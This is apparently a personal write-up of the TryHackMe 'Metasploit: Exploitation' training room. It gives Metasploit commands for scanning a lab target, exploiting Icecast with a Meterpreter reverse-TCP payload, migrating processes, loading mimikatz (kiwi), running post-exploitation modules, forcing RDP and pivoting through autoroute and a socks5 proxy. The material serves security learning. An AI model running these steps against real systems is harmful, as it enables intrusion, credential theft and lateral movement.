Tryhackme Rpmetasploit CTF
Hello Friend ! i’m going to make a write-up about tryhackme’s room Metasploit: Exploitation.
Metasploit: Metasploit Framework is an exploitation framework created by Rapid7 organization Metasploit is written in Ruby and has been in development for many years. It allows you to enter the mind of a hacker and use the same methods for probing and infiltrating networks and servers.
In Metasploit Framework 4.0 you can create your own exploits and then audit your website and network security by just launching the exploits along with the respective payloads, through its console mode or Armitage graphical user interface
Kali and most other security distributions of Linux include Metasploit by default. If you are using a different distribution of Linux, verify that you have it installed or install it from the Rapid 7 Github repository.
First, we need to initialize the database! We will do that with the command:
Ans: msfdb init
we open the msfconsole help by entering the command msfconsole
We can start the Metasploit console on the command line without showing the banner or any startup information as well by typing the command msfconsole
After Metasploit has started, we will check that we have connected to the database by entering the command
We have connected to the database! Type of database it uses is
Let’s go ahead and start exploring the help menu. On the Metasploit prompt (where we’ll be at after we start Metasploit using msfconsole), type the command: help
The help menu has a very short one-character alias, what is it? Ans: ?
What is the base command we use for searching?
what command we use to select it as the active module?
if we want to view information about either a specific module or just the active one we have selected
we can make a quick connection with a host simply to verify that we can ‘talk’ to it. What command is this?
what command displays the motd/ascii art we see when we start msfconsole?
First, what command do we use to change the value of a variable?
What command changes the value of a variable globally?
Now that we’ve learned about to change the value of variables, how do we view them?
When performing a penetration test it’s quite common to record your screen either for further review or for providing evidence of any actions taken. This is often coupled with the collection of console output to a file as it can be incredibly useful to grep for different pieces of information output to the screen. What command can we use to set our console output to save to a file?
What command can we use to store the settings/active datastores from Metasploit to a settings file?
Easily the most common module utilized, which module holds all of the exploit code we will use
Used hand in hand with exploits, which module contains the various bits of shellcode we send to have executed following exploitation
Which module is most commonly used in scanning and verification machines are exploitable? This is not the same as the actual exploitation of course.
One of the most common activities after exploitation is looting and pivoting. Which module provides these capabilities
Commonly utilized in payload obfuscation, which module allows us to modify the ‘appearance’ of our exploit such that we may avoid signature detection
Last but not least, which module is used with buffer overflow and ROP attacks?
Not every module is loaded in by default, what command can we use to load different modules?
Metasploit comes with a built-in way to run nmap and feed it’s results directly into our database. Let’s run that now by using the command ‘db_nmap -sV BOX-IP
We enter the command db_nmap -sV 10.10.186.71
What service does nmap identify running on port 135?
Next we type the command hosts to see what information we have collected in the database.
We next type the command services. And also try the command vulns.
Now that we’ve scanned our victim system, let’s try connecting to it with a Metasploit payload. First, we’ll have to search for the target payload. use icecast
Now that we’ve scanned our victim system, let’s try connecting to it with a Metasploit payload. First, we’ll have to search for the target payload. In Metasploit 5 (the most recent version at the time of writing) you can simply type
use followed by a unique string found within only the target exploit. For example, try this out now with the following command
use icecast. What is the full path for our exploit that now appears on the msfconsole prompt? *This will include the exploit section at the start
Next, let’s set the payload using this command ‘set PAYLOAD windows/meterpreter/reverse_tcp’. In this way, we can modify which payloads we want to use with our exploits. Additionally, let’s run this command ‘set LHOST YOUR_IP_ON_TRYHACKME’. You might have to check your IP using the command ‘ip addr’, it will likely be your tun0 interface
One last step before we can run our exploit. Run the command ‘set RHOST BOX_IP’ to tell Metasploit which target to attack. Once you’re set those variables correctly, run the exploit now via either the command ‘exploit’ or the command ‘run -j’ to run this as a job.
Once we’ve started this, we can check all of the jobs running on the system by running the command `jobs`
After we’ve established our connection in the next task, we can list all of our sessions using the command `sessions`. Similarly, we can interact with a target session using the command `sessions -i SESSION_NUMBER`
First things first, our initial shell/process typically isn’t very stable. Let’s go ahead and attempt to move to a different process. First, let’s list the processes using the command ‘ps’. What’s the name of the spool service?
Let’s go ahead and move into the spool process or at least attempt to! What command do we use to transfer ourselves into the process?
Well that migration didn’t work, let’s find out some more information about the system so we can try to elevate. What command can we run to find out more information regarding the current user running the process we are in?
How about finding more information out about the system itself?
This might take a little bit of googling, what do we run to load mimikatz (more specifically the new version of mimikatz) so we can use it
Ans: load kiwi
Let’s go ahead and figure out the privileges of our current user, what command do we run?
What command do we run to transfer files to our victim computer?
How about if we want to run a Metasploit module?
A simple question but still quite necessary, what command do we run to figure out the networking information and interfaces on our victim
Let’s go ahead and run a few post modules from Metasploit. First, let’s run the command run post/windows/gather/checkvm. This will determine if we’re in a VM, a very useful piece of knowledge for further pivoting.
Next, let’s try: run post/multi/recon/local_exploit_suggester. This will check for various exploits which we can run within our session to elevate our privileges. Feel free to experiment using these suggestions, however, we’ll be going through this in greater detail in the room Ice.
Finally, let’s try forcing RDP to be available. This won’t work since we aren’t administrators, however, this is a fun command to know about: run post/windows/manage/enable_rdp
One quick extra question, what command can we run in our meterpreter session to spawn a normal system shell?
Let’s go ahead and run the command run autoroute -h, this will pull up the help menu for autoroute. What command do we run to add a route to the following subnet: 172.18.1.0/24? Use the -n flag in your answer.
Ans: run autoroute -s 172.18.1.0 -n 255.255.255.0
Additionally, we can start a socks5 proxy server out of this session. Background our current meterpreter session and run the command search server/socks5. What is the full path to the socks5 auxiliary module?
Once we’ve started a socks server we can modify our /etc/proxychains.conf file to include our new server. What command do we prefix our commands (outside of Metasploit) to run them through our socks5 server with proxychains?
By shaan Grover | Infosec Intern